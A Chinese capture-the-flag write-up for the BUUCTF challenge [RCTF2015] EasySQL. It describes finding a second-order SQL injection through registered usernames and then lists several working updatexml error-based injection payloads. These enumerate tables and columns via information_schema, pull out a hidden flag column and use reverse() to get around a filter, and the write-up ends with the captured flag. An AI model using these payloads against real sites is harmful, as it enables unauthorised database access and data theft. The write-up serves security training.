数据库
首页 > 数据库> > BUUCTF-[RCTF2015]EasySQL

BUUCTF-[RCTF2015]EasySQL

作者:互联网

1、进去后是个登陆框,可以注册用户。首先这种猜测是二次注入,注册了admin’#用户,进去后有个改密码的操作,更加坚信了是个二次注入,但是并没有起到效果。

2、因为并不清楚sql语句的闭合方式,所以重新注册一个admin"#,登陆后也没有起到作用。

3、注册admin\,登陆进去后修改密码,结果出现报错。

设想可以注册一个用于报错的用户登陆,来修改密码的地方进行报错注入,然后显示出需要的内容。

4、尝试一下

username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#&password=1&email=1

可以

username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#&password=1&email=1

username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#&password=1&email=1

没在这,继续找

username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#&password=1&email=1

username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#&password=1&email=1

显示位不够用,但是过滤了right。可以使用reverse()

username=admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#&password=1&email=1

flag{a8fc7f2d-c68d-439d-b5cd-438e781761b7}

eg:

Sql sever里面有个自带的reverse函数,这个函数的主要功能是把一个字符产反转。比如对于:

select REVERSE('hello,world')
将得到如下的输出:dlrow,olleh

 

标签:BUUCTF,group,RCTF2015,admin,0x7e,EasySQL,flag,select,concat
来源: https://www.cnblogs.com/Rammstein-and-rock/p/16522072.html